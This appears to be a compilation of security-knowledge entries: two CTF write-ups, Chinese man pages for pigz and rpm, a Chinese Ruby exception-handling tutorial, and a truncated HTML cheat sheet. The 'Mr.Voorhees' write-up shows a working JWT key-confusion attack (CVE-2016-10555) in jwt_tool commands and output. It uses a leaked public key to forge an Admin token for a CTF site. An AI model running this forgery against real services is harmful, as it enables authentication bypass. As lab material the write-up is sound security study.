##Cook (Recon, 300p) Still Hungry and unsutisfied, you are looking for more. Some more, unique un heard dishes. Then you can find one to make it your self. Its his Dish. He has his own website which is he describes as " a social home for each of our passions". The link to his website is on his google+ page. whats the name of his site. By the way he loves and hogs on "Onion Kheer". Have you heard of "Onion Kheer"? ###PL [ENG](#eng-version) Szukając `a social home for each of our passions` trafiamy na: https://plus.google.com/+bibhutibhusanPanigrahyneedrecipes/posts/W96mixP2FYE które linkuje do strony `affimity.com` co też jest flagą w zadaniu. ###ENG version Searching for `a social home for each of our passions` we find: https://plus.google.com/+bibhutibhusanPanigrahyneedrecipes/posts/W96mixP2FYE which is linking to `affimity.com` which is the flag.
sec-knowleage
pigz === 可以用来解压缩文件,gzip的并行实现升级版 ## 补充说明 **pigz命令**可以用来解压缩文件,最重要的是支持多线程并行处理,解压缩比gzip快。主页: [http://zlib.net/pigz/](http://zlib.net/pigz/) ### 语法 ```shell pigz [ -cdfhikKlLmMnNqrRtz0..9,11 ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ... ] unpigz [ -cfhikKlLmMnNqrRtz ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ... ] ``` ### 参数 ```shell -0 to -9, -11 # Compression level (level 11, zopfli, is much slower) --fast, --best # Compression levels 1 and 9 respectively -b, --blocksize mmm # Set compression block size to mmmK (default 128K) -c, --stdout # Write all processed output to stdout (won't delete) -d, --decompress # Decompress the compressed input -f, --force # Force overwrite, compress .gz, links, and to terminal -F --first # Do iterations first, before block split for -11 -h, --help # Display a help screen and quit -i, --independent # Compress blocks independently for damage recovery -I, --iterations n # Number of iterations for -11 optimization -J, --maxsplits n # Maximum number of split blocks for -11 -k, --keep # Do not delete original file after processing -K, --zip # Compress to PKWare zip (.zip) single entry format -l, --list # List the contents of the compressed input -L, --license # Display the pigz license and quit -m, --no-time # Do not store or restore mod time -M, --time # Store or restore mod time -n, --no-name # Do not store or restore file name or mod time -N, --name # Store or restore file name and mod time -O --oneblock # Do not split into smaller blocks for -11 -p, --processes n # Allow up to n compression threads (default is the number of online processors, or 8 if unknown) -q, --quiet # Print no messages, even on error -r, --recursive # Process the contents of all subdirectories -R, --rsyncable # Input-determined block locations for rsync -S, --suffix .sss # Use suffix .sss instead of .gz (for compression) -t, --test # Test the integrity of the compressed input -v, --verbose # Provide more verbose output -V --version # Show the version of pigz -Y --synchronous # Force output file write to permanent storage -z, --zlib # Compress to zlib (.zz) instead of gzip format -- # All arguments after "--" are treated as files ``` ### 实例 可以结合`tar`使用, 压缩命令 ```shell tar -cvf - dir1 dir2 dir3 | pigz -p 8 > output.tgz ``` 解压命令 ```shell pigz -p 8 -d output.tgz ``` 如果是gzip格式,也支持用tar解压 ```shell tar -xzvf output.tgz ```
sec-knowleage
# Mr.Voorhees * Category: Web * 200 Points * Solved by the JCTF Team ## Description > In reality, there's no such thing as bad luck. > > Friday is just a day like any other day. > > Also, there's no such thing as bad algorithm. > > The one I used should be secure enough. > > Right? ## Solution We enter the attached website and are greeted with a picture of [Mr. Voorhees](https://en.wikipedia.org/wiki/Jason_Voorhees) (a.k.a. **Jason** Voorhees), and a banner stating: > You are not logged in as Admin > > Come back with higher privileges The website has no login system, so how does it know if we're admins? Let's check if there's a cookie: ```console root@kali:/media/sf_CTFs/appsec/Mr.Voorhees# curl -s -I https://mr-voorhees.appsecil.ctf.today/ | grep cookie set-cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Ikphc29uIiwiaWF0IjoxNjAzNzM4MTIwfQ.To_hskfiK0mZ0lGDQhi_rFhpUzazdv5OfMjeKE6eqj2k0N-QNoueR4jqvGdGvt6Kei42XqDZo1iTwxKDq8ikvw; Path=/ ``` This looks like a JWT token: ``` root@kali:/media/sf_CTFs/appsec/Mr.Voorhees# python3 ~/utils/jwt_tool/jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Ikphc29uIiwiaWF0IjoxNjAzNzM4MTIwfQ.To_hskfiK0mZ0lGDQhi_rFhpUzazdv5OfMjeKE6eqj2k0N-QNoueR4jqvGdGvt6Kei42XqDZo1iTwxKDq8ikvw \ \ \ \ \ \ \__ | | \ |\__ __| \__ __| | | | \ | | | \ \ | | \ | | | __ \ __ \ | \ | _ | | | | | | | | | | / \ | | | | | | | | \ | / \ | | |\ |\ | | \______/ \__/ \__| \__| \__| \______/ \______/ \__| Version 2.0 \______| @ticarpi Original JWT: ===================== Decoded Token Values: ===================== Token header values: [+] typ = "JWT" [+] alg = "RS256" Token payload values: [+] username = "Jason" [+] iat = 1603738120 ==> TIMESTAMP = 2020-10-26 20:48:40 (UTC) ``` It has a username of "Jason", and we probably want to replace that with "Admin". However, the token is signed with "RS256" (RSA Signature with SHA-256), and we don't have the key. This is a web challenge, so it's always helpful to look around for the usual things. Let's check `robots.txt`: ```console root@kali:/media/sf_CTFs/appsec/Mr.Voorhees# curl -s https://mr-voorhees.appsecil.ctf.today/robots.txt User-Agent: Googlebot Disallow: /backup/ ``` What's this backup folder and why is the webmaster trying to hide it from robots? ```console root@kali:/media/sf_CTFs/appsec/Mr.Voorhees# curl -s https://mr-voorhees.appsecil.ctf.today/backup/ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Directory listing for /backup/</title> </head> <body> <h1>Directory listing for /backup/</h1> <hr> <ul> <li><a href="public.pem">public.pem</a></li> </ul> <hr> </body> </html> ``` Backed up, there's a linked to a public key. Let's get it: ```console root@kali:/media/sf_CTFs/appsec/Mr.Voorhees# wget https://mr-voorhees.appsecil.ctf.today/backup/public.pem --2020-10-26 20:56:40-- https://mr-voorhees.appsecil.ctf.today/backup/public.pem Resolving mr-voorhees.appsecil.ctf.today (mr-voorhees.appsecil.ctf.today)... 18.134.59.71 Connecting to mr-voorhees.appsecil.ctf.today (mr-voorhees.appsecil.ctf.today)|18.134.59.71|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 177 [application/x-x509-ca-cert] Saving to: ‘public.pem’ public.pem 100%[==================================================================================================================>] 177 --.-KB/s in 0s 2020-10-26 20:56:41 (120 MB/s) - ‘public.pem’ saved [177/177] root@kali:/media/sf_CTFs/appsec/Mr.Voorhees# openssl rsa -pubin -in public.pem -text RSA Public-Key: (511 bit) Modulus: 66:e1:f0:a4:f7:93:26:e3:bc:c0:c5:61:2a:15:a9: b4:76:f8:d8:1c:18:1f:9d:f7:f8:e0:75:27:80:be: 2a:fd:21:e9:fc:cb:95:a1:d3:f6:78:b4:d6:5e:6f: 88:9f:40:9a:7d:d3:a5:ec:65:dc:65:ea:76:e0:dd: cc:55:3c:e7 Exponent: 65537 (0x10001) writing RSA key -----BEGIN PUBLIC KEY----- MFswDQYJKoZIhvcNAQEBBQADSgAwRwJAZuHwpPeTJuO8wMVhKhWptHb42BwYH533 +OB1J4C+Kv0h6fzLlaHT9ni01l5viJ9Amn3Tpexl3GXqduDdzFU85wIDAQAB -----END PUBLIC KEY----- ``` There's a known attack against JWT involving public keys: [CVE-2016-10555](https://www.cvedetails.com/cve/CVE-2016-10555/) - The RS/HS256 public key mismatch vulnerability. > Since "algorithm" isn't enforced in jwt.decode() in jwt-simple 0.3.0 and earlier, a malicious user could choose what algorithm is sent sent to the server. If the server is expecting RSA but is sent HMAC-SHA with RSA's public key, the server will think the public key is actually an HMAC private key. This could be used to forge any data an attacker wants. Using [jwt_tool](https://github.com/ticarpi/jwt_tool), we can execute it: ```console root@kali:/media/sf_CTFs/appsec/Mr.Voorhees# python3 ~/utils/jwt_tool/jwt_tool.py -X k -pk public.pem eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Ikphc29uIiwiaWF0IjoxNjAzNzM4MTIwfQ.To_hskfiK0mZ0lGDQ hi_rFhpUzazdv5OfMjeKE6eqj2k0N-QNoueR4jqvGdGvt6Kei42XqDZo1iTwxKDq8ikvw -I -pc username -pv Admin \ \ \ \ \ \ \__ | | \ |\__ __| \__ __| | | | \ | | | \ \ | | \ | | | __ \ __ \ | \ | _ | | | | | | | | | | / \ | | | | | | | | \ | / \ | | |\ |\ | | \______/ \__/ \__| \__| \__| \______/ \______/ \__| Version 2.0 \______| @ticarpi Original JWT: File loaded: public.pem jwttool_1d9281df0772d80501021d9ea8c2686e - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret) (This will only be valid on unpatched implementations of JWT.) [+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkFkbWluIiwiaWF0IjoxNjAzNzM4MTIwfQ.z3ICauMOuuIxO_0WJtBPfdqevXBXqihSIAMSL6w2Ej4 ``` What we're doing here is replacing the username with "Admin", changing the algorithm to HS256 (HMAC-SHA256) and resigning with the public key we got. Let's use the new token to access the website: ```console root@kali:/media/sf_CTFs/appsec/Mr.Voorhees# curl -s https://mr-voorhees.appsecil.ctf.today/ -H "Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkFkbWluIiwiaWF0IjoxNjAzNzM4MTIwfQ.z3ICauMOuuIxO_0WJtBPfdqevXBXqihSIAMSL6w2Ej4" | grep AppSec AppSec-IL{100k_wh47_y0u_d1d_70_h1m} ``` We got the flag.
sec-knowleage
rpm === RPM软件包的管理工具 ## 补充说明 **rpm命令** 是RPM软件包的管理工具。rpm原本是Red Hat Linux发行版专门用来管理Linux各项套件的程序,由于它遵循GPL规则且功能强大方便,因而广受欢迎。逐渐受到其他发行版的采用。RPM套件管理方式的出现,让Linux易于安装,升级,间接提升了Linux的适用度。 ### 语法 ```shell rpm(选项)(参数) ``` ### 选项 ```shell -a:查询所有套件; -b<完成阶段><套件档>+或-t <完成阶段><套件档>+:设置包装套件的完成阶段,并指定套件档的文件名称; -c:只列出组态配置文件,本参数需配合"-l"参数使用; -d:只列出文本文件,本参数需配合"-l"参数使用; -e<套件档>或--erase<套件档>:删除指定的套件; -f<文件>+:查询拥有指定文件的套件; -h或--hash:套件安装时列出标记; -i:显示套件的相关信息; -i<套件档>或--install<套件档>:安装指定的套件档; -l:显示套件的文件列表; -p<套件档>+:查询指定的RPM套件档; -q:使用询问模式,当遇到任何问题时,rpm指令会先询问用户; -R:显示套件的关联性信息; -s:显示文件状态,本参数需配合"-l"参数使用; -U<套件档>或--upgrade<套件档>:升级指定的套件档; -v:显示指令执行过程; -vv:详细显示指令执行过程,便于排错。 ``` ### 参数 软件包:指定要操纵的rpm软件包。 ### 实例 **如何安装rpm软件包** rpm软件包的安装可以使用程序rpm来完成。执行下面的命令: ```shell rpm -ivh your-package.rpm ``` 其中your-package.rpm是你要安装的rpm包的文件名,一般置于当前目录下。 安装过程中可能出现下面的警告或者提示: ```shell ... conflict with ... ``` 可能是要安装的包里有一些文件可能会覆盖现有的文件,缺省时这样的情况下是无法正确安装的可以用`rpm --force -i`强制安装即可 ```shell ... is needed by ... ... is not installed ... ``` 此包需要的一些软件你没有安装可以用`rpm --nodeps -i`来忽略此信息,也就是说`rpm -i --force --nodeps`可以忽略所有依赖关系和文件问题,什么包都能安装上,但这种强制安装的软件包不能保证完全发挥功能。 **如何安装.src.rpm软件包** 有些软件包是以.src.rpm结尾的,这类软件包是包含了源代码的rpm包,在安装时需要进行编译。这类软件包有两种安装方法: 方法一: ```shell rpm -i your-package.src.rpm cd /usr/src/redhat/SPECS rpmbuild -bp your-package.specs #一个和你的软件包同名的specs文件 cd /usr/src/redhat/BUILD/your-package/ #一个和你的软件包同名的目录 ./configure #这一步和编译普通的源码软件一样,可以加上参数 make make install ``` 方法二: ```shell rpm -i you-package.src.rpm cd /usr/src/redhat/SPECS ``` 前两步和方法一相同 ```shell rpmbuild -bb your-package.specs #一个和你的软件包同名的specs文件 ``` 这时在`/usr/src/redhat/RPM/i386/`(根据具体包的不同,也可能是i686,noarch等等)在这个目录下,有一个新的rpm包,这个是编译好的二进制文件。 执行`rpm -i new-package.rpm`即可安装完成。 **如何卸载rpm软件包** 使用命令`rpm -e`包名,包名可以包含版本号等信息,但是不可以有后缀.rpm,比如卸载软件包proftpd-1.2.8-1,可以使用下列格式: ```shell rpm -e proftpd-1.2.8-1 rpm -e proftpd-1.2.8 rpm -e proftpd- rpm -e proftpd ``` 不可以是下列格式: ```shell rpm -e proftpd-1.2.8-1.i386.rpm rpm -e proftpd-1.2.8-1.i386 rpm -e proftpd-1.2 rpm -e proftpd-1 ``` 有时会出现一些错误或者警告: ```shell ... is needed by ... ``` 这说明这个软件被其他软件需要,不能随便卸载,可以用rpm -e --nodeps强制卸载 **如何不安装但是获取rpm包中的文件** 使用工具rpm2cpio和cpio ```shell rpm2cpio xxx.rpm | cpio -vi rpm2cpio xxx.rpm | cpio -idmv rpm2cpio xxx.rpm | cpio --extract --make-directories ``` 参数i和extract相同,表示提取文件。v表示指示执行进程,d和make-directory相同,表示根据包中文件原来的路径建立目录,m表示保持文件的更新时间。 **如何查看与rpm包相关的文件和其他信息** 下面所有的例子都假设使用软件包mysql-3.23.54a-11 1、我的系统中安装了那些rpm软件包。 ```shell rpm -qa 讲列出所有安装过的包 ``` 如果要查找所有安装过的包含某个字符串sql的软件包 ```shell rpm -qa | grep sql ``` 2、如何获得某个软件包的文件全名。 ```shell rpm -q mysql ``` 可以获得系统中安装的mysql软件包全名,从中可以获得当前软件包的版本等信息。这个例子中可以得到信息mysql-3.23.54a-11 3、一个rpm包中的文件安装到那里去了? ```shell rpm -ql 包名 ``` 注意这里的是不包括.rpm后缀的软件包的名称,也就是说只能用mysql或者mysql-3.23.54a-11而不是mysql-3.23.54a-11.rpm。如果只是想知道可执行程序放到那里去了,也可以用which,比如: ```shell which mysql ``` 4、一个rpm包中包含那些文件。 * 一个没有安装过的软件包,使用`rpm -qlp **** .rpm` * 一个已经安装过的软件包,还可以使用`rpm -ql **** .rpm` 5、如何获取关于一个软件包的版本,用途等相关信息? * 一个没有安装过的软件包,使用`rpm -qip **** .rpm` * 一个已经安装过的软件包,还可以使用`rpm -qi **** .rpm` 6、某个程序是哪个软件包安装的,或者哪个软件包包含这个程序。 ```shell rpm -qf `which 程序名` #返回软件包的全名 rpm -qif `which 程序名` #返回软件包的有关信息 rpm -qlf `which 程序名` #返回软件包的文件列表 ``` 注意,这里不是引号,而是`,就是键盘左上角的那个键。也可以使用`rpm -qilf`,同时输出软件包信息和文件列表。 7、某个文件是哪个软件包安装的,或者哪个软件包包含这个文件。 注意,前一个问题中的方法,只适用与可执行的程序,而下面的方法,不仅可以用于可执行程序,也可以用于普通的任何文件。前提是知道这个文件名。首先获得这个程序的完整路径,可以用whereis或者which,然后使用`rpm -qf`例如: ```shell whereis ftptop ftptop: /usr/bin/ftptop /usr/share/man/man1/ftptop.1.gz rpm -qf /usr/bin/ftptop proftpd-1.2.8-1 rpm -qf /usr/share/doc/proftpd-1.2.8/rfc/rfc0959.txt proftpd-1.2.8-1 ``` ## 更多实例 > 库依赖: http://rpmfind.net/ 源码包 -> 编译 -> 二进制包(rpm 包 / 系统默认包) rpm 命名规则: 软件(软件名, 软件版本) + 系统(os 版本, os 位数) rpm 校验: SM5DLUGT -> size modified(类型/权限) md5 device L(文件路径) user group time(modified time) yum: 解决 rpm 依赖的问题 ```shell # rpm mysql57-community-release-el6-8.noarch.rpm # 一个 rpm 包的例子 /var/lib/rpm/ # 包全名 -> 包名 的数据库 rpm -Uivh --dodeps xxx # upgrade install verbose hash rpm -qilpfa|grep xxx # query info list(rpm包安装后的文件位置) package(rpm 包) file(文件属于哪个rpm文件) all rpm -e # erase rpm -V # verify rpm2cpio | cpio -idv # rpm 默认安装位置 /etc/ 配置文件 /usr/bin/ 可执行文件 /urs/lib/ 程序使用的函数库 /usr/share/doc/ 使用手册 /usr/share/man/ manual ```
sec-knowleage
# 错误处理与异常 --- - https://www.kancloud.cn/imxieke/ruby-base/107297 --- # 关于错误处理 在程序执行的过程中,通常会有以下错误发生: - 数据错误 在计算家庭收支的时候,若在应该写金额的一栏上填上了商品名,那么就无法计算。此外,HTML 这种格式的数据的情况下,如果存在没有关闭标签等语法错误,也会导致无法处理数据。 - 系统错误 硬盘故障等明显的故障,或者没把 CD 插入到驱动器等程序无法恢复的问题。 - 程序错误 因调用了不存在的方法、弄错参数值或算法错误而导致错误结果等,像这样,程序本身的缺陷也可能会导致错误。 程序在运行时可能会遇到各种各样的错误。如果对这些错误放任不管,大部分程序都无法正常运行,因此我们需要对这些错误做相应的处理。 - 排除错误的原因 在文件夹中创建文件时,如果文件夹不存在,则由程序本身创建文件夹。如果程序无法创建文件夹,则需要再考虑其他解决方法。 - 忽略错误 程序有时候也会有一些无伤大雅的错误。例如,假设运行程序时需要读取某个配置文件,如果我们事前已经在程序中准备好了相应配置的默认值,那么即使无法读取该设定文件,程序也可以忽略这个错误。 - 恢复错误发生前的状态 向用户提示程序发生错误,指导用户该如何进行下一步处理。 - 重试一次 曾经执行失败的程序,过一段时间后再重新执行可能就会成功。 - 终止程序 只是自己一个人用的小程序,也许本来就没必要做错误处理。 而至于实际应该采取何种处理,则要根据程序代码的规模、应用程序的性质来决定,不能一概而论。但是,对于可预期的错误,我们需要留意以下两点: - 是否破坏了输入的数据,特别是人工制作的数据。 - 是否可以对错误的内容及其原因做出相应的提示。 覆盖了原有文件、删除了花费大量时间输入的数据等,像这样的重要数据的丢失、破坏可以说是灾难性的错误。另外,如果错误是由用户造成的,或者程序自身不能修复的话,给用户简明易懂的错误提示,会大大提升程序的用户体验。 # 异常处理 在程序执行的过程中,如果程序出现了错误就会发生异常。异常发生后,程序会暂时停止运行,并寻找是否有对应的异常处理程序。如果有则执行,如果没有,程序就会显示类似以下信息并终止运行。 ```ruby > ruby test.rb test.rb:2:in `initialize': No such file or directory - /no/file(Errno::ENOENT) from test.rb:2:in `open' from test.rb:2:in `foo' from test.rb:2:in `bar' from test.rb:9:in `main' ``` 该信息的格式如下: ```ruby 文件名: 行号:in 方法名: 错误信息(异常类名) from 文件名: 行号:in 方法名     ┊ ``` 以 `from` 开头的行表示发生错误的位置。 没有异常处理的编程语言的情况下,编程时就需要逐个确认每个处理是否已经处理完毕。在这类编程语言中,大部分程序代码都被花费在错误处理上,因此往往会使程序变得繁杂。 异常处理有以下优点: - 程序不需要逐个确认处理结果,也能自动检查出程序错误 - 会同时报告发生错误的位置,便于排查错误 - 正常处理与错误处理的程序可以分开书写,使程序便于阅读 # 异常处理的写法 Ruby 中使用 `begin ~ rescue ~ end` 语句描述异常处理。 ```ruby begin  可能会发生异常的处理 rescue  发生异常时的处理 end ``` 在 Ruby 中,异常及其相关信息都是被作为对象来处理的。在 `rescue` 后指定变量名,可以获得异常对象。 ```ruby begin  可能会发生异常的处理 rescue => 引用异常对象的变量  发生异常时的处理 end ``` 即使不指定变量名,Ruby 也会把异常对象赋值给变量 `$!`。不过,把变量名明确地写出来会使程序更加易懂。 异常发生时被自动赋值的变量 变量 | 意义 - | - $! | 最后发生的异常(异常对象) $@ | 最后发生的异常的位置信息 异常对象的方法 方法名 | 意义 - | - class | 异常的种类 message | 异常信息 backtrace | 异常发生的位置信息($@ 与 $!.backtrace 是等价的) 下面是 Unix 的 wc 命令的简易版。结果会输出参数中指定的各文件的行数、单词数、字数(字节数),最后输出全部文件的统计结果。 ```ruby ltotal=0 # 行数合计 wtotal=0 # 单词数合计 ctotal=0 # 字数合计 ARGV.each do |file| begin input = File.open(file) # 打开文件(A) l=0 # file 内的行数 w=0 # file 内的单词数 c=0 # file 内的字数 input.each_line do |line| l += 1 c += line.size line.sub!(/^\s+/, "") # 删除行首的空白符 ary = line.split(/\s+/) # 用空白符分解 w += ary.size end input.close # 关闭文件 printf("%8d %8d %8d %s\n", l, w, c, file) # 整理输出格式 ltotal += l wtotal += w ctotal += c rescue => ex print ex.message, "\n" # 输出异常信息(B) end end printf("%8d %8d %8d %s\n", ltotal, wtotal, ctotal, "total") ``` 执行示例 ``` > ruby wc.rb intro.rb sec01.rb sec02.rb 50 67 1655 intro.rb 81 92 3455 sec01.rb 123 162 3420 sec02.rb 254 321 8520 total ``` 在(A)处无法打开文件时,程序会跳到 `rescue` 部分。这时,异常对象被赋值给变量 `ex`,(B)部分的处理被执行。 如果程序中指定了不存在的文件,则会提示发生错误,如下所示。提示发生错误后,并不会马上终止程序,而是继续处理下一个文件。 ``` > ruby wc.rb intro.rb sec01.rb sec02.rb sec03.rb 50 67 1655 intro.rb 81 92 3455 sec01.rb 123 188 3729 sec02.rb No such file or directory - sec03.rb 254 321 8520 total ``` 如果发生异常的方法中没有 `rescue` 处理,程序就会逆向查找调用者中是否定义了异常处理。下面来看看下图这个例子。调用 `foo` 方法,尝试打开一个不存在的文件。若 `File.open` 方法发生异常,那么该异常就会跳过 `foo` 方法以及 `bar` 方法,被更上一层的 `rescue` 捕捉。 然而,并不是说每个方法都需要做异常处理,只需根据实际情况在需要留意的地方做就可以了。在并不特别需要解决错误的情况下,也可以不捕捉异常。当然,不捕捉异常就意味着如果有问题发生程序就会马上终止。 # 后处理 不管是否发生异常都希望执行的处理,在 Ruby 中可以用 `ensure` 关键字来定义。 ```ruby begin  有可能发生异常的处理 rescue => 变量  发生异常后的处理 ensure  不管是否发生异常都希望执行的处理 end ``` 现在,假设我们要实现一个拷贝文件的方法,如下所示。下面的 `copy` 方法是把文件从 `from` 拷贝到 `to`。 ```ruby def copy(from, to) src = File.open(from) # 打开原文件from(A) begin dst = File.open(to, "w") # 打开目标文件to(B) data = src.read dst.write(data) dst.close ensure src.close # (C) end end ``` 在(A)部分,如果程序不能打开原文件,那么就会发生异常并把异常返回给调用者。这时,不管接下来的处理是否能正常执行,`src` 都必须得关闭。关闭 src 的处理在(C)部分执行。`ensure` 中的处理,在程序跳出 `begin ~ end` 部分时一定会被执行。即使(B)中的目标文件无法打开,(C)部分的处理也同样会被执行。 # 重试 在 `rescue` 中使用 `retry` 后,`begin` 以下的处理会再重做一遍。 在下面的例子中,程序每隔 10 秒执行一次 `File.open`,直到能成功打开文件为止,打开文件后再读取其内容。 ```ruby file = ARGV[0] begin io = File.open(file) rescue sleep 10 retry end data = io.read io.close ``` 不过需要注意的是,如果指定了无论如何都不能打开的文件,程序就会陷入死循环中。 # rescue 修饰符 与 `if` 修饰符、`unless` 修饰符一样,`rescue` 也有对应的修饰符。 ```ruby 表达式 1 rescue 表达式 2 ``` 如果表达式 1 中发生异常,表达式 2 的值就会成为整体表达式的值。也就是说,上面的式子与下面的写法是等价的: ```ruby begin  表达式 1 rescue  表达式 2 end ``` 我们再来看看下面的例子: ```ruby n = Integer(val) rescue 0 ``` `Integer` 方法当接收到 `"123"` 这种数值形式的字符串参数时,会返回该字符串表示的整数值,而当接收到 `"abc"` 这种非数值形式的字符串参数时,则会抛出异常(在判断字符串是否为数值形式时经常用到此方法)。在本例中,如果 `val` 是不正确的数值格式,就会抛出异常,而 0 则作为 = 右侧整体表达式的返回值。像这样,这个小技巧经常被用在不需要过于复杂的处理,只是希望简单地对变量赋予默认值的时候。 # 异常处理语法的补充 如果异常处理的范围是整个方法体,也就是说整个方法内的程序都用 `begin ~ end` 包含的话,我们就可以省略 `begin` 以及 `end`,直接书写 `rescue` 与 `ensure` 部分的程序。 ```ruby def foo  方法体 rescue => ex  异常处理 ensure  后处理 end ``` 同样,我们在类定义中也可以使用 `rescue` 以及 `ensure`。但是,如果类定义途中发生异常,那么异常发生部分后的方法定义就不会再执行了,因此一般我们不会在类定义中使用它们。 ```ruby class Foo  类定义 rescue => ex  异常处理 ensure  后处理 end ``` # 指定需要捕捉的异常 当存在多个种类的异常,且需要按异常的种类分别进行处理时,我们可以用多个 `rescue` 来分开处理。 ```ruby begin  可能发生异常的处理 rescue Exception1, Exception2 => 变量  对Exception1 或者Exception2 的处理 rescue Exception3 => 变量  对Exception3 的处理 rescue  对上述异常以外的异常的处理 end ``` 通过直接指定异常类,可以只捕捉我们希望处理的异常。 ```ruby file1 = ARGV[0] file2 = ARGV[1] begin io = File.open(file1) rescue Errno::ENOENT, Errno::EACCES io = File.open(file2) end ``` 在本例中,程序如果无法打开 `file1` 就会打开 `file2`。程序中捕捉的 `Errno::ENOENT` 以及 `Errno::EACCES`,分别是文件不存在以及没权限打开文件时发生的异常。 # 异常类 之前我们提到过异常也是对象。Ruby 中所有的异常都是 `Exception` 类的子类,并根据程序错误的种类来定义相应的异常。下图为 Ruby 标准库中的异常类的继承关系。 在 `rescue` 中指定的异常的种类实际上就是异常类的类名。`rescue` 中不指定异常类时,程序会默认捕捉 `StandardError` 类及其子类的异常。 `rescue` 不只会捕捉指定的异常类,同时还会捕捉其子类。因此,我们在自己定义异常时,一般会先定义继承 `StandardError` 类的新类,然后再继承这个新类。 ```ruby MyError = Class.new(StandardError) # 新的异常类 MyError1 = Class.new(MyError) MyError2 = Class.new(MyError) MyError3 = Class.new(MyError) ``` 这样定义后,通过以下方式捕捉异常的话,同时就会捕捉 `MyError` 类的子类 `MyError1`、`MyError2`、`MyError3` 等。 ```ruby begin ┊ rescue MyError ┊ end ``` 在本例中, ```ruby MyError = Class.new(StandardError) ``` 上述写法的作用是定义一个继承 `StandardError` 类的新类,并将其赋值给 `MyError` 常量。这与 `class` 语句定义类的效果是一样的。 ```ruby class MyError < StandardError end ``` 使用 `class` 语句,我们可以进行定义方法等操作,但在本例中,由于我们只需要生成继承 `StandardError` 类的新类就可以了,所以就向大家介绍了这个只需 1 行代码就能实现类的定义的简洁写法。 # 主动抛出异常 使用 `raise` 方法,可以使程序主动抛出异常。在基于自己判定的条件抛出异常,或者把刚捕捉到的异常再次抛出并通知异常的调用者等情况下,我们会使用 `raise` 方法。 `raise` 方法有以下 4 种调用方式: - raise message 抛出 `RuntimeError` 异常,并把字符串作为 message 设置给新生成的异常对象。 - raise 异常类 抛出指定的异常。 - raise 异常类,message 抛出指定的异常,并把字符串作为 message 设置给新生成的异常对象。 - raise 在 `rescue` 外抛出 `RuntimeError`。在 `rescue` 中调用时,会再次抛出最后一次发生的异常(`$!`)。
sec-knowleage
--- title: HTML date: 2021-07-20 19:16:42 background: bg-[#cc5534] tags: - web categories: - Programming intro: | This HTML quick reference cheat sheet lists the common HTML and HTML5 tags in readable layout. plugins: - copyCode --- Getting Started ------------ ### hello.html {.col-span-2 .row-span-2} ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>HTML5 Boilerplate</title> </head> <body> <h1>Hello world, hello QuickRef.ME!</h1> </body> </html> ``` Or try it out in the [jsfiddle](https://jsfiddle.net/Fechin/1e4wz20b/) ### Comment ```html <!-- this is a comment --> <!-- Or you can comment out a large number of lines. --> ``` ### Paragraph ```html <p>I'm from QuickRef.ME</p> <p>Share quick reference cheat sheet.</p> ``` See: [The Paragraph element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/p) ### HTML link ```html <a href="https://quickref.me">QuickRef</a> <a href="mailto:jack@abc.com">Email</a> <a href="tel:+12345678">Call</a> <a href="sms:+12345678&body=ha%20ha">Msg</a> ``` --- | | | | |---|----------|-----------------------------------------------------------------| | | `href` | The URL that the hyperlink points to | | | `rel` | Relationship of the linked URL | | | `target` | Link target location: <br/>`_self`, `_blank`, `_top`, `_parent` | {.left-text} See: [The \<a> Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#attributes) ### Image Tag ```html {.wrap} <img loading="lazy" src="https://xxx.png" alt="Describe image here" width="400" height="400"> ``` --- | | | | |---|-----------|------------------------------------------| | | `src` | Required, Image location _(URL \| Path)_ | | | `alt` | Describe of the image | | | `width` | Width of the image | | | `height` | Height of the image | | | `loading` | How the browser should load | {.left-text} See: [The Image Embed element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img) ### Text Formatting Tags ```html <b>Bold Text</b> <strong>This text is important</strong> <i>Italic Text</i> <em>This text is emphasized</em> <u>Underline Text</u> <pre>Pre-formatted Text</pre> <code>Source code</code> <del>Deleted text</del> <mark>Highlighted text (HTML5)</mark> <ins>Inserted text</ins> <sup>Makes text superscripted</sup> <sub>Makes text subscripted</sub> <small>Makes text smaller</small> <kbd>Ctrl</kbd> <blockquote>Text Block Quote</blockquote> ``` ### Headings ```html <h1> This is Heading 1 </h1> <h2> This is Heading 2 </h2> <h3> This is Heading 3 </h3> <h4> This is Heading 4 </h4> <h5> This is Heading 5 </h5> <h6> This is Heading 6 </h6> ``` You should only have one h1 on your page ### Section Divisions | | | |-----------------|--------------------------------------| | `<div></div>` | Division or Section of Page Content | | `<span></span>` | Section of text within other content | | `<p></p>` | Paragraph of Text | | `<br>` | Line Break | | `<hr>` | Basic Horizontal Line | These are the tags used to divide your page up into sections ### Inline Frame {.row-span-2} ```html {.wrap} <iframe title="New York" width="342" height="306" id="gmap_canvas" src="https://maps.google.com/maps?q=2880%20Broadway,%20New%20York&t=&z=13&ie=UTF8&iwloc=&output=embed" scrolling="no"> </iframe> ``` #### ↓ Preview <iframe title="New York" width="342" height="306" id="gmap_canvas" src="https://maps.google.com/maps?q=2880%20Broadway,%20New%20York&t=&z=13&ie=UTF8&iwloc=&output=embed" scrolling="no"> </iframe> See: [The Inline Frame element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) ### JavaScript in HTML ```html <script type="text/javascript"> let text = "Hello QuickRef.ME"; alert(text); </script> ``` #### External JavaScript ```html <body> ... <script src="app.js"></script> </body> ``` ### CSS in HTML ```html <style type="text/css"> h1 { color: purple; } </style> 